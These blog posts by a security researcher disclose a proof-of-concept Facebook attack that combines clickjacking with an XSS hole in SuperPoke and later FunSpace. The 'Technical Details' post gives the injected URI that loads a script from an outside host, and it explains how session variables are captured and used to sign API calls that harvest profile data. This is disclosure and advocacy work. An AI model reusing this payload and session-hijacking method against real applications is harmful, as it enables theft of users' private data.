Posted by theharmonyguy in General | 1 comment

Twitter

By the way, as much as I am not a fan of Twitter and closed down my personal account, I find it a convenient way to post quick thoughts or links to new posts, and I’ve discovered plenty of other people who share good thoughts and links as well.  If you use Twitter, you can follow me at http://twitter.com/theharmonyguy to subscribe to my updates, and feel free to ask questions via Twitter.

Posted by theharmonyguy in Facebook, General | 3 comments

A Few Clarifications

Why bother highlighting privacy problems on Facebook?  Isn’t privacy just an illusion anyway? With the way Facebook currently operates, users should probably assume that advertisers, developers, and hackers can access all of the information they post. However, most users are not aware of this, and fully believe in the privacy controls Facebook provides. Facebook needs to address privacy problems to match user confidence or better educate users on how easily others can access their data.

Hasn’t Facebook patched the holes that allow access to profile data? Those behind FBHive.com should be commended for the privacy hole they uncovered, which Facebook did patch. However, the privacy problems mentioned here remain unpatched. SuperPoke has patched the specific hole used in my demonstration hack, but other applications are still vulnerable to an identical attack.

Aren’t you simply highlighting problems in Facebook applications? Isn’t Facebook itself more secure? Mark it down: A vulnerability in a Facebook application is a vulnerability in Facebook itself. Since all applications are granted access to a wealth of user information and can perform many actions that directly affect a user, application holes can be exploited to the point of differing little from actually hacking a user’s profile.

Are these hacks really that serious if they require a user to click a special link? Hacks that do not require user intervention are certainly more powerful. However, many security researchers will affirm that getting a user to click on a link is not that difficult. Also, many of these hacks can work invisibly on what appears to be an otherwise harmless page. Finally, applications have many viral channels available to them, and these can be exploited by an application attack or a rogue application to compromise more users.

Doesn’t Facebook prevent advertisers from accessing personally identifiable information? For advertisements served by Facebook itself, the site does prevent such access. Unfortunately, several advertising networks for Facebook applications, such as SocialCash, can and do access personally identifiable information for targeting their ads. While this appears to be a clear TOS violation, Facebook has not shown interest in addressing this particular problem.  Two ad networks were shut down recently, but apparently for deceptive ads and not for the user information they accessed.

Can Facebook enable third-party applications at all and still enforce user privacy? Security researchers may disagree on this particular question, but I do think it clear that Facebook could do far more to protect user privacy. The Facebook Platform currently ignores important security techniques that have led to problems such as my recent application hacks. For example, allowing every application full access to user information contributes to making the hacks so serious.

Posted by theharmonyguy in Facebook | 1 comment

Still Don’t Think This is Serious?

Remember that Facebook hack I posted a few days ago that exploited an XSS hole in SuperPoke to harvest users’ profile information? I mentioned in my follow-up posts that the hack was not specific to SuperPoke and could be adapted to an XSS hole in another application.

Such as FunSpace.

This application, formerly known as FunWall, has over 11.4 million monthly active users, and, according to a recent review by Inside Facebook, is the most active application on Facebook in terms of daily active users.  That means that an attacker has a high probability of success without resorting to a clickjacking authorization.  FunSpace is also a Facebook Verified Application.

And it does, in fact, have an XSS hole.  How long did it take me to find the hole?  Less than an hour.

All of this means that right this second, if I so desired, I could replace one file at theharmonyguy.com and previous links to the attack page would once again work.  Visiting the attack page would again forward you to a page with nearly all of your profile data displayed.  I’ve already put together the updated version of the attack.

I say this to illustrate that the four privacy problems I originally posted a few days ago are still very much problems, and that this type of attack can continue as long as Facebook does not respond to them.  I originally exploited SuperPoke, now I can exploit FunSpace, tomorrow I can possibly exploit another popular application.  But playing whack-a-mole with application bugs will not solve anything.

Finally, I’d like to hear your feedback on whether I should update the attack page and make it live again.  It’s not one easily illustrated by screenshots, since the results page is full of personal data.

Update: Considering the success of this hack, I’ve started going through AllFacebook’s list of top Facebook applications by monthly active users and hunting for XSS holes in each.  I quickly found a means of FBML injection in Causes, which is second on the leaderboard and another Facebook Verified Application.  Launching an FBML-based attack is proving to be more complicated, but still appears to be possible.  In fact, even embedding external scripts with access to the user’s session secret is not as difficult as you might think.

Update 2: Decided to check Bumper Sticker (nearly 5 million MAU) about 10 minutes ago, and quickly found an FBML injection hole.

Update 3 (6/26): Earlier today I posted the new attack code, and within about three hours, FunSpace patched the hole.  I haven’t found another XSS hole in an HTML-based Facebook application, and haven’t yet worked out the details of an FBML-based attack, but I’m confident the hack could still be relaunched. People need to understand that nearly any application XSS vulnerability will enable this type of attack.

Posted by theharmonyguy in Facebook | 2 comments

Account Shutdown – Seriously? (Updated)

I received an e-mail today that personally I find rather upsetting.  Apparently Facebook has taken some action in response to the latest attack: shutting down the Facebook account of someone trying to spread the word about it.

An administrator for the group Rogue Facebook Apps Early Warning Group, which began as an effort to alert Facebook users to applications such as the infamous Error Check System, sent me word today that Facebook had disabled his account.  In Facebook’s defense, the administrator admits that he sent duplicate messages to some of the group members alerting them to the hack.  However, he did this not knowing it violated the TOS, and stopped sending such messages as soon as he received a warning about triggering Facebook’s spam detection.  (The size of the group prevented him from messaging the entire group at once.)

While I hope I’m wrong (and I very well could be), it appears that at least part of the reason for the account shutdown was that this user was spreading word about my Facebook attack.  It saddens me that other people are having to suffer on my account, and I will state here publicly that the group administrator was not involved in this hack in any way.

The account shutdown came before I’d posted any details on how the attack worked, and as I’ve now stated, the vulnerabilities I exploited have been known for months.  If Facebook views the attack as serious, they should take action to fix it, not punish users who publicize it.

I can handle not getting media/blogosphere coverage of my hacks, but if there was ever a time I’d want my readers to spread the word about a story, it would be now.  The more this Facebook user’s story gets out, the more likely Facebook will reinstate his account quickly.

Update: I didn’t want to include a name in my post without permission, but I see that Chris Almond has updated his public Twitter with more details on his deactivation.  This includes a copy of the e-mails he sent to Facebook and forwarded to me explaining his case.

Update 2 (6/25): Facebook just sent me a form letter saying they couldn’t help with my request since I wasn’t e-mailing from the address used to login to Facebook.  Did anyone there actually read my e-mail?

Update 3 (6/25): Facebook has reactivated Chris’ account! According to Chris: “They explained that users aren’t permitted to send messages promoting or advertising a product, service or opportunity. They said they are not able to supply more details about the warnings for technical and security reasons.” He also said Facebook asked him to “refrain from sending messages of this kind,” whatever that means.

Posted by theharmonyguy in Facebook | 2 comments

Facebook Attack Technical Details

One could argue that this was more of a SuperPoke attack, but I think it demonstrates that in many cases, hacking a Facebook application is little different from hacking Facebook.

I’ve already posted a general outline of how the attack worked, but here I’ll follow that up with more technical specifics.

The attack page, https://theharmonyguy.com/facebook-privacy/index.php, appeared to be a generic error page.  The page actually loaded an invisible iframe, following a standard clickjacking model.  As mentioned before, the clickjacking was only needed in case a user had not installed SuperPoke.  The iframe redirected to a Facebook authorization page for SuperPoke, with the post-redirect URI containing the actual XSS attack.  If a user had not authorized SuperPoke, nothing would appear to happen after the fake error page loaded, leading them to click the fake redirect link.  The supposed link was positioned over the “Allow Access” button on the Facebook page.  Once clicked, SuperPoke became authorized and the XSS was executed.  If a user already had SuperPoke on their profile, the XSS attack executed right away without any user intervention.

The heart of the attack came in the XSS exploit.  Previously, SuperPoke would load a page containing an error message if a user tried to perform a disallowed action.  The error message was part of the query string for the page, and as I noticed about a year and a half ago, this message was simply added to the page without any escaping.  Originally this allowed for FBML injection, but SuperPoke has since become an HTML-based application that is loaded in an iframe.  Thus one could replace the error message with arbitrary HTML, including script tags.  The specific URI loaded by my attack was this:

http://apps.facebook.com/superpokey/sp_main/?CXNID=1000005.6NXC&fb_force_mode=iframe&error=%3Cscript+src%3D%22http%3A%2F%2Ftheharmonyguy.com%2Fi.js%22%3E%3C%2Fscript%3E

As you can see, the “error message” in this URI is actually an encoded script tag which loads a JavaScript file stored on theharmonyguy.com.  This script is then executed within the context of the application page.

Since the application page is loaded by Facebook in an iframe, Facebook automatically appends a query string containing session information to the URI of the page.  The script simply checked the location variable to capture this information.  It then generated a list of parameters for a Facebook API call to fql.query with a pre-written FQL query to retrieve user profile data.  The session variables include fb_sig_ss, and by setting ss=1 in the API call, one can generate the MD5 signature needed to make a successful request.  Publicly available JavaScript code was used to create the signature.

Originally, the script made the API call and forwarded the end user to a page (https://theharmonyguy.com/facebook-privacy/results.html) which displayed the profile data.  However, I wanted to be very careful about how the profile information was transferred, and including the data in a URI made it too long to work smoothly.  (Internet Explorer does not always handle extremely long addresses well.)  In the end, I elected to instead transfer the URI for a JavaScript API call to the results page and let it load the data.

Hence, the first script encoded the URI using Base64 and attached that to the address of the forwarded page.  (Thus my warning not to share the URI of the results page, though even if someone harvested the API call, logging out of Facebook would destroy the session variables.)  The results page again checked the URI, decoded the appended data, and used a standard cross-domain JSON technique to make the API request.  The page then loaded the results below my explanatory message for the user to see.  Since the data was loaded and displayed at runtime, I never actually stored anyone’s profile information.  Note that this landing page was hosted on theharmonyguy.com, not slide.com, apps.facebook.com, or facebook.com.

The pages are still online, though a bit modified since the original attack no longer works, thanks to SuperPoke changing the behavior of error messages on their pages.  The source code is obfuscated, but clean code is available upon request (theharmonyguy via gmail.com).

This attack was merely proof-of-concept and did not take full advantage of every possibility.  Notably, the XSS attack could have executed any API call available with a user session key, which includes just about any FQL query.  This could have also allowed the attack to spread virally, or clickjacking could be employed to send Facebook messages on behalf of a user.

Note, however, that if a user already had SuperPoke authorized, no clickjacking was necessary to execute the payload – the user simply had to load the initial page.  And since SuperPoke is a very popular application, an attacker would have a high probability of this happening.  To put this in perspective, I could have been harnessing the profile data of every SuperPoke user who visited my blog recently simply by embedding an iframe in the HTML source.

As I mentioned, the API call could have been made and the profile data stored on a third-party server on initial execution.  My specific attack forwarded the user to the results page as a courtesy to let them know what could have just happened.  Also, if an API request was made in the initial script, Facebook would see the referer as the exploited application’s URI.  The REST server would have no way to distinguish between a legitimate request and one produced by an attack.

By the way, this is another reason why I get concerned about application advertising networks, such as SocialCash, using external script access to load targeting data.  Facebook can talk about monitoring privacy, but the requests made from these ad networks are also indistinguishable from requests made by an application itself.

While SuperPoke has patched the vulnerability used here, the fact remains that any other Facebook application which has an XSS hole such as this one could be exploited as well.  In fact, my code in no way depends on SuperPoke, and could easily be embedded in another application with the same results.

Also, to the best of my knowledge, Facebook has not taken any measures to avoid clickjacking attacks.  People can argue about how much social engineering is involved to get users to click on malicious links, but I think any security researcher can tell you such matters are not as difficult as they may sound, particularly when viral channels are available.

Again, this particular attack only scratched the surface of what could be possible in the future.  For instance, this attack used clickjacking to get users to install a recreational application, but it could have easily authorized a rogue application.  And while this particular attack no longer works, the larger privacy problems that made it possible remain until Facebook takes action.

Update (6/25): Newer versions of the hack utilize applications besides SuperPoke, but the technique remains the same.